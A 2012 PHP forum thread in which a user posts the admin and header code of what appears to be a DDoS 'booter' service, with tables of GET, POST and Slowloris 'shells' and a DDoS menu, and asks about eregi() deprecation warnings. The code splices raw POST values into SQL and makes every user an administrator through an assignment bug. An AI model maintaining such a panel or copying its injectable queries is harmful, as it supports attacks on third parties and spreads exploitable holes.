Go Back   CodingForums.com > :: Server side development > PHP

Before you post, read our: Rules & Posting Guidelines

Reply
 
Thread Tools Rate Thread
Enjoy an ad free experience by logging in. Not a member yet? Register.
Old 12-31-2012, 02:54 AM   PM User | #1
qode
New Coder

 
Join Date: Dec 2012
Posts: 10
Thanks: 0
Thanked 0 Times in 0 Posts
qode is an unknown quantity at this point
I Get Two Problems That Wont Go Away

This is the error that is popping up before my layout:

Code:
Deprecated: Function eregi() is deprecated in /home/booter4/domains/shell-list.com/public_html/includes/functions.php on line 4
Code:
Deprecated: Function eregi() is deprecated in /home/booter4/domains/shell-list.com/public_html/header.php on line 8
This is Functions.php:
[PHP]<?php

$file = basename(__FILE__);
if(eregi($file,$_SERVER['REQUEST_URI'])) {
die("Sorry but you cannot access this file directly for security reasons.");
}

$username = $_SESSION['user_name'];
$id = $_SESSION['user_id'];
$level = $_SESSION['user_level'];


function getBooterTitle() {
$grabTitle = "SELECT booter_name FROM config";
$result = mysql_query($grabTitle);

while($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
echo "<title>" . $row['booter_name'] . "</title>";
}

}

$rs_all = mysql_query("select count(*) as total_all from users") or die(mysql_error());
$rs_active = mysql_query("select count(*) as total_active from users where approved='1'") or die(mysql_error());
$rs_total_pending = mysql_query("select count(*) as tot from users where approved='0'");

list($total_pending) = mysql_fetch_row($rs_total_pending);
list($all) = mysql_fetch_row($rs_all);
list($active) = mysql_fetch_row($rs_active);

if($level = 5) {
$level = "Administrator";
} else {
$level = "Paid Customer";
}

$result = mysql_query("SELECT * FROM getshells");
$num_rows = mysql_num_rows($result); // Count the entries in the GET shells table
$result2 = mysql_query("SELECT * FROM postshells");
$num_rows2 = mysql_num_rows($result2); // Count the entries in the POST shells table
$result3 = mysql_query("SELECT * FROM slowloris");
$num_rows3 = mysql_num_rows($result3); // Count the entries in the Slowloris shells table

$shellsOnline = $num_rows + $num_rows2 + $num_rows3; // Add the 3 tables together to form one value.

$page_limit = 10;


$host = $_SERVER['HTTP_HOST'];
$host_upper = strtoupper($host);
$login_path = @ereg_replace('admin','',dirname($_SERVER['PHP_SELF']));
$path = rtrim($login_path, '/\\');

// filter GET values
foreach($_GET as $key => $value) {
$get[$key] = filter($value);
}

foreach($_POST as $key => $value) {
$post[$key] = filter($value);
}

if($post['doBan'] == 'Ban') {

if(!empty($_POST['u'])) {
foreach ($_POST['u'] as $uid) {
$id = filter($uid);
mysql_query("update users set banned='1' where id='$id' and `user_name` <> 'admin'");
}
}
$ret = $_SERVER['PHP_SELF'] . '?'.$_POST['query_str'];;

header("Location: $ret");
exit();
}

if($_POST['doUnban'] == 'Unban') {

if(!empty($_POST['u'])) {
foreach ($_POST['u'] as $uid) {
$id = filter($uid);
mysql_query("update users set banned='0' where id='$id'");
}
}
$ret = $_SERVER['PHP_SELF'] . '?'.$_POST['query_str'];;

header("Location: $ret");
exit();
}

if($_POST['doDelete'] == 'Delete') {

if(!empty($_POST['u'])) {
foreach ($_POST['u'] as $uid) {
$id = filter($uid);
mysql_query("delete from users where id='$id' and `user_name` <> 'admin'");
}
}
$ret = $_SERVER['PHP_SELF'] . '?'.$_POST['query_str'];;

header("Location: $ret");
exit();
}

if($_POST['doApprove'] == 'Approve') {

if(!empty($_POST['u'])) {
foreach ($_POST['u'] as $uid) {
$id = filter($uid);
mysql_query("update users set approved='1' where id='$id'");

list($to_email) = mysql_fetch_row(mysql_query("select user_email from users where id='$uid'"));

}
}

$ret = $_SERVER['PHP_SELF'] . '?'.$_POST['query_str'];
header("Location: $ret");
exit();
}

if(isset($_POST['EmptyLogs'])) {
mysql_query("TRUNCATE TABLE `logs`");
echo "<br><div class=\"divider\"><center>Logs have been cleared</center></div>";
}
if(isset($_POST['EmptyNews'])) {
mysql_query("TRUNCATE TABLE `news`");
echo "<br><div class=\"divider\"><center>News has been cleared</center></div>";
}
if(isset($_POST['EmptyUsers'])) {
mysql_query("DELETE FROM users WHERE approved = 0");
echo "<br><div class=\"divider\"><center>Unapproved users have been cleared from the database.</center></div>";
}

if(isset($_POST['SubmitConfig'])) {
$booterName = $_POST['bootername'];
mysql_query("INSERT INTO `config` (`booter_name`) VALUES ('" . $booterName . "')") or die(mysql_error());
}

?>[PHP]
qode is offline   Reply With Quote
Old 12-31-2012, 02:54 AM   PM User | #2
qode
New Coder

 
Join Date: Dec 2012
Posts: 10
Thanks: 0
Thanked 0 Times in 0 Posts
qode is an unknown quantity at this point
This is Header.php:

PHP Code:
<?php 
include "dbc.php";
page_protect();
include 
"includes/functions.php";
getBooterTitle();

$file basename(__FILE__);
if(
eregi($file,$_SERVER['REQUEST_URI'])) {
    die(
"Sorry but you cannot access this file directly for security reasons.");
}
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="UTF-8" />
<title>Phenomenon | Single Post</title>
<!-- CSS -->
<link rel="stylesheet" href="css/reset.css" type="text/css" />
<link rel="stylesheet" href="style.css" type="text/css" />
<link rel="stylesheet" href="css/custom.css" type="text/css" />
<link rel="stylesheet" href="css/tipsy.css" type="text/css" />
<link rel="stylesheet" href="css/superfish.css" type="text/css" />
<link rel="stylesheet" href="fancybox/jquery.fancybox-1.3.1.css" type="text/css" />
<!--[if IE]>
<script src="js/html5.js"></script>
<![endif]-->
<!--[if lt IE 8]>
    <link rel="stylesheet" type="text/css" href="css/ie7.css">
<![endif]-->
<!-- Scripts -->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
<script src="js/cufon-yui.js"></script>
<script src="js/jquery.easing.js"></script>
<script src="js/Harabara.js"></script>
<script src="js/superfish.js"></script>
<script src="js/css_browser_selector.js"></script>
<script src="js/jquery.cycle.all.js"></script>
<script src="fancybox/jquery.fancybox-1.3.1.pack.js"></script>
<script src="js/jquery.form.js"></script>
<script src="js/tipsy.js"></script>
<script src="js/bluz.js"></script>
<style type="text/css">
<!--
.style1 {color: #000000}
.style2 {color: black}
-->
</style>
</head>
<body id="sub-page">
<!-- site-wrapper START here -->
<div id="site-wrapper">
  <!-- header START here -->
  <header>
    <!-- container START here -->
    <div class="container">
      <!-- logo START here -->
      <div id="logo">
        <h1><a href="index.html"><img src="images/logo2.png" alt="" /></a></h1>
      </div>
      <!-- logo END here -->
      <div id="login-holder"> <a href="#login-box" class="sml-btn green">Login</a> </div>
      <!-- navigation START here -->
      <ul class="sf-menu">
        <li><a href="index.html">Home</a></li>
        <li><a href="page.html">Company</a>
          <ul>
            <li><a href="full-width.html">Layout Options</a></li>
            <li><a href="#">Level #3</a>
              <ul>
                <li><a href="#">Just For Demonstration Purposes</a></li>
                <li><a href="#">Demonstration</a></li>
                <li><a href="#">Purposes</a></li>
              </ul>
            </li>
          </ul>
        </li>
        <li><a href="services.html">Services</a></li>
        <li><a href="gallery.html">Gallery</a></li>
        <li><a href="pricing.html">Pricing</a></li>
        <li><a href="blog.html">Blog</a>
           <ul>
              <li class="current_page_item"><a href="single.html">Single Post</a></li>
           </ul>
        </li>
        <li><a href="contact.html">Contact</a></li>
      </ul>
      <!-- navigation END here -->
      <div id="pagename">
        <div class="inside">
          <h2>Single Post</h2>
          <p class="breadcrumbs">You are here : <a href="#">Home</a> / Single Post</p>
        </div>
      </div>
    </div>
    <!-- container END here -->
  </header>
  <!-- header END here -->
  <!-- content START here -->
  <div id="content">
    <!-- container START here -->
    <div class="container">
      <!-- main-colum START here -->
      <div id="main-colum">
        <!-- post START here -->
        <div class="post">
          <h3><a href="single.html"></a></h3>
          <div class="meta">
            <span class="category"><a href="#">News</a></span>
            <span class="date">27/05/10</span>
            <span class="comments"><a href="#">2 comments</a></span>          </div>
          <a href="single.html">
          <img src="images/blog/1.png" alt="Item Title" class="alignleft post-img" width="635" height="175" />          </a>
          <p>&nbsp;</p>
        </div>
        <!-- post END here -->
        <!-- comments START here -->
        <div id="comments">
          <h3>2 comments to "Post title goes here"</h3>
          <!-- comment-list START here -->
          <ol class="commentlist">
            <li>
              <div class="comment-left"> 
                  <img src="images/me.jpg" alt="gravatar" width="80" height="80" /> 
                  <a href="#" style="text-align:center;"><strong>Admin</strong></a>              </div>
              <div class="comment-right"> 
                  <a href="#" style="font-size:10px; margin-bottom:10px; display:block;">January 5, 2010 at 10:00 pm</a>
                <p>Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros faucibus tincidunt. Duis leo. Sed fringilla mauris sit amet nibh</p>
              </div>
            </li>
            <li>
              <div class="comment-left"> 
                  <img src="images/me.jpg" alt="gravatar" width="80" height="80" /> 
                  <a href="#" style="text-align:center;"><strong>Admin</strong></a>              </div>
              <div class="comment-right"> 
                  <a href="#" style="font-size:10px; margin-bottom:10px; display:block;">January 5, 2010 at 10:00 pm</a>
                <p>Maecenas tempus, tellus eget condimentum rhoncus, sem quam semper libero, sit amet adipiscing sem neque sed ipsum. Nam quam nunc, blandit vel, luctus pulvinar, hendrerit id, lorem. Maecenas nec odio et ante tincidunt tempus. Donec vitae sapien ut libero venenatis faucibus. Nullam quis ante. Etiam sit amet orci eget eros faucibus tincidunt. Duis leo. Sed fringilla mauris sit amet nibh</p>
              </div>
            </li>
          </ol>
          <!-- comment-list END here -->
          <!-- responde START here -->
          <div id="responde">
            <h3>Leave A Replay</h3>
            <form action="" method="post" id="commentform">
              <p>
                <input type="text" name="author" id="author" value="" size="42" tabindex="1"/>
                <label for="author"><small>Name (required)</small></label>
              </p>
              <p>
                <input type="text" name="email" id="email" value="" size="42" tabindex="2"/>
                <label for="email"><small>Mail (will not be published) (required)</small></label>
              </p>
              <p>
                <input type="text" name="url" id="url" value="" size="42" tabindex="3" />
                <label for="url"><small>Website</small></label>
              </p>
              <p><small><strong>XHTML:</strong> You can use these tags: <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt; </code></small></p>
              <p>
                <textarea name="comment" id="comment" cols="75" rows="10" tabindex="4"></textarea>
              </p>
              <p>
                <input name="submit" type="submit" id="submit" class="big-btn special" tabindex="5" value="Submit Comment" />
              </p>
            </form>
          </div>
          <!-- responde END here -->
        </div>
        <!-- comments END here -->
      </div>
      <!-- main-colum END here -->
      <!-- sidebar START here -->
      <div id="sidebar">
        <ul>
          <!-- widget START here -->
          <li class="widget">
            <div class="title">
              <h5>Options</h5>
            </div>
            <div class="content">
              <ul>
                <li>
                  <div id="container">
                  <div id="header"> </div>
                  <?php 
if (isset($_SESSION['user_id'])) { 
?>
                  <div id="navigation">
                    <dl class="dropdown">
                      <dt style="width: 75px" class="single"><a href="index.php" style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img src="images/home.png" width="32" height="32" border=0> Home</a></dt>
                    </dl>
                    <dl class="dropdown">
                      <dt style="width: 95px" class="single"><a href="hub.php" style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img src="images/dos.png" width="32" height="32" border=0> DDoS</a></dt>
                    </dl>
                    <dl class="dropdown">
                      <dt style="width: 85px" class="single"><a href="updates.php" style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img src="images/update.png" width="32" height="32" border=0> Updates</a></dt>
                    </dl>
                    <dl class="dropdown">
                      <dt style="width: 95px" class="single"><a href="mysettings.php" style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img src="images/myaccount.png" width="32" height="32" border=0> My Account</a></dt>
                    </dl>
                    <?php  if (checkAdmin()) { 
                                        
// Admin only links should go below here    
                                        
?>
                    <dl class="dropdown">
                      <dt style="width: 95px" class="single"><a href="addshell.php" style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img src="images/shell.png" width="32" height="32" border=0> Add Shells</a></dt>
                    </dl>
                    <dl class="dropdown">
                      <dt style="width: 75px" class="single"><a href="logs.php" style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img src="images/logs.png" width="32" height="32" border=0> Logs</a></dt>
                    </dl>
                    <dl class="dropdown">
                      <dt style="width: 110px" class="single"><a href="admin.php" style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img border=0 src="images/admin.png"> Admin Panel</a></dt>
                    </dl>
                    <?php ?>
                    <dl class="dropdown">
                      <dt style="width: 85px" class="single"><a href="logout.php" onclick='return confirm("Are you sure you want to logout?");' style="height: 18px; padding-top: 5px; background-image: url(images/back.png);"><img border=0 src="images/logout.png"> Logout</a></dt>
                    </dl>
                    <?php ?>
                  </div>
                </li>
                </ul>
            </div>
          </li>
          <!-- widget END here -->
          <!-- widget START here -->
          <li class="widget">
            <div class="title">
              <h5>Welcome, <?php echo $username?></h5>
            </div>
            <div class="content">
              <blockquote><span class="style1">Profile ID:</span> <font color="#9932CC"><?php echo $id?></font> <br />
                <span class="style1">Rank:</span> <font color="#9932CC"><?php echo $level?></font></blockquote>
            </div>
          </li>
          <li class="widget">
            <div class="title">
              <h5>Member Statistics</h5>
            </div>
            <div class="content">
              <blockquote>
                <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" class="forms">
                  
                  <tr>
                    <td><font size="1"><span class="style2">Total Users</span></font></td>
                    <td><font color="#9932CC" size="1"><?php echo $all?></font></td>
                  </tr>
                  
                  <tr>
                    <td><font size="1"><span class="style2">Active Users</span></font></td>
                    <td><font color="#9932CC" size="1"><?php echo $active?></font></td>
                  </tr>
                  
                  <tr>
                    <td><font size="1"><span class="style2">Pending Users</span></font></td>
                    <td><font color="#9932CC" size="1"><?php echo $total_pending?></font></td>
                  </tr>
                                                      
                                                                </table>
              </blockquote>
            </div>
          </li>
          <!-- widget END here -->
          <!-- widget START here -->
          <li class="widget">
            <div class="title">
              <h5>Current Shells On Database </h5>
            </div>
            <div class="content">
              <ul>
                <li>
                  <div class="small-box-content">
                    <p>
                    </p>
                  </div>
                </li>
              </ul>
            </div>
          </li>
          <!-- widget END here -->
        </ul>
      </div>
      <!-- sidebar END here -->
    </div>
    <!-- container END here -->
  </div>
  <!-- content END here -->
</div>
<!-- site-wrapper END here -->
<!-- footer START here -->
<footer>
  <!-- container START here -->
  <div class="container">
    <div id="footer-colums">
      <!-- footer-colum1 START here -->
      <div class="footer-colum">
        <h4>Company</h4>
        <ul>
          <li><a href="#">About</a></li>
          <li><a href="#">Contact Us</a></li>
          <li><a href="#">News</a></li>
          <li><a href="#">Jobs</a></li>
        </ul>
      </div>
      <!-- footer-colum1 END here -->
      <!-- footer-colum2 START here -->
      <div class="footer-colum">
        <h4>Useful Links</h4>
        <ul>
          <li><a href="#">Affiliate Sign Up</a></li>
          <li><a href="#">Affiliate Login</a></li>
          <li><a href="#">Control Panel Login</a></li>
        </ul>
      </div>
      <!-- footer-colum2 END here -->
      <!-- footer-colum3 START here -->
      <div class="footer-colum">
        <h4>Contact Methods</h4>
        <ul>
          <li><a href="#">Live Chat</a></li>
          <li><a href="#">support@companyname.com</a></li>
          <li><a href="#">1-800-MYCOPMANY - toll free</a></li>
          <li><a href="#">1-234-567-8901 - Local Number</a></li>
        </ul>
      </div>
      <!-- footer-colum3 END here -->
      <!-- footer-colum4 START here -->
      <div class="footer-colum no-margin">
        <h4>From The Blog</h4>
        <ul>
          <li><a href="#">New hosting plan</a></li>
          <li><a href="#">Buy hosting plan - get 1 domain for life.</a></li>
          <li><a href="#">HostingCompany celebrates 2 years!</a></li>
          <li><a href="#">August special offers</a></li>
          <li><a href="#">Hiring! we are looking for designers</a></li>
        </ul>
      </div>
      <!-- footer-colum4 END here -->
    </div>
  </div>
  <!-- container END here -->
  <!-- bottom-footer START here -->
  <div id="bottom-footer">
    <!-- container START here -->
    <div class="container">
      <p class="alignleft">&copy; 2010 All Rights Reserved.</p>
      <ul id="social-list" class="alignright">
        <li><a href="#" rel="tipsy" title="Monthly Newsletter"><img src="images/social-icons/email.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Facebook"><img src="images/social-icons/facebook.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Twitter"><img src="images/social-icons/twitter.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Flickr"><img src="images/social-icons/flickr.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Last FM"><img src="images/social-icons/lastfm.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Linked In"><img src="images/social-icons/linkedin.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Myspace"><img src="images/social-icons/myspace.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Skype"><img src="images/social-icons/skype.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Stumble Upon"><img src="images/social-icons/stumbleupon.png" alt="" /></a></li>
        <li><a href="#" rel="tipsy" title="Youtube"><img src="images/social-icons/youtube.png" alt="" /></a></li>
      </ul>
    </div>
    <!-- container END here -->
  </div>
  <!-- bottom-footer END here -->
</footer>
<!-- footer END here -->
<div class="hidden">
  <div id="login-box">
    <form action="" method="post">
      <label for="login-username">Username:</label>
      <input type="text" name="login_username" id="login-username" />
      <label for="login-password">Password:</label>
      <input type="text" name="login_password" id="login-password" />
      <div class="submit-block"> <span class="alignleft">
        <input name="" type="checkbox" value="" class="checkbox" />
        Remember me</span> <span class="alignright">
        <input type="submit" name="submit" id="login-submit" value="Login" class="sml-btn grey" />
        </span> </div>
      <a href="#" class="lostpass">Lost your password or username?</a>
    </form>
  </div>
</div>
<script type="text/javascript"> Cufon.now(); </script>
<script src="js/init_form.js"></script>
</body>
</html>
Can anyone tell me what is up with this code?
qode is offline   Reply With Quote
Old 12-31-2012, 03:07 AM   PM User | #3
AndrewGSW
Senior Coder

 
Join Date: Apr 2011
Location: London, England
Posts: 2,120
Thanks: 15
Thanked 354 Times in 353 Posts
AndrewGSW will become famous soon enough
Yes.. eregi is deprecated. The docs point you towards alternatives.
__________________
"I'm here to save your life. But if I'm going to do that, I'll need total uninanonynymity." Me Myself & Irene.
Validate your HTML and CSS
AndrewGSW is offline   Reply With Quote
Old 01-01-2013, 12:32 AM   PM User | #4
qode
New Coder

 
Join Date: Dec 2012
Posts: 10
Thanks: 0
Thanked 0 Times in 0 Posts
qode is an unknown quantity at this point
Lulz, I fixed my problem:
PHP Code:
if(eregi($file,$_SERVER['REQUEST_URI'])) { 
Replace with:
PHP Code:
if(@eregi($file,$_SERVER['REQUEST_URI'])) { 
qode is offline   Reply With Quote
Old 01-01-2013, 01:39 AM   PM User | #5
felgall
Master Coder

 
felgall's Avatar
 
Join Date: Sep 2005
Location: Sydney, Australia
Posts: 5,530
Thanks: 0
Thanked 503 Times in 494 Posts
felgall is a jewel in the roughfelgall is a jewel in the roughfelgall is a jewel in the rough
Quote:
Originally Posted by qode View Post
Lulz, I fixed my problem:
No you didn't you just hid the error message. The problem is still there. Your code will fail completely the next time PHP is updated as eregi will then no longer exist for you to call.

The code I used to use to prevent direct access to include files also used eregi and was almost identical to yours - I fixed the problem in my code by replacing the eregi() call with strstr()

Code:
$file = basename(__FILE__);
if(strstr($_SERVER['REQUEST_URI'],$file)){die('This file cannot be accessed directly!');}
__________________
Stephen
Learn Modern JavaScript - http://javascriptexample.net/
Helping others to solve their computer problem at http://www.felgall.com/
felgall is offline   Reply With Quote
Reply

Bookmarks

Jump To Top of Thread


Thread Tools
Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT +1. The time now is 03:19 PM.


Advertisement
Log in to turn off these ads.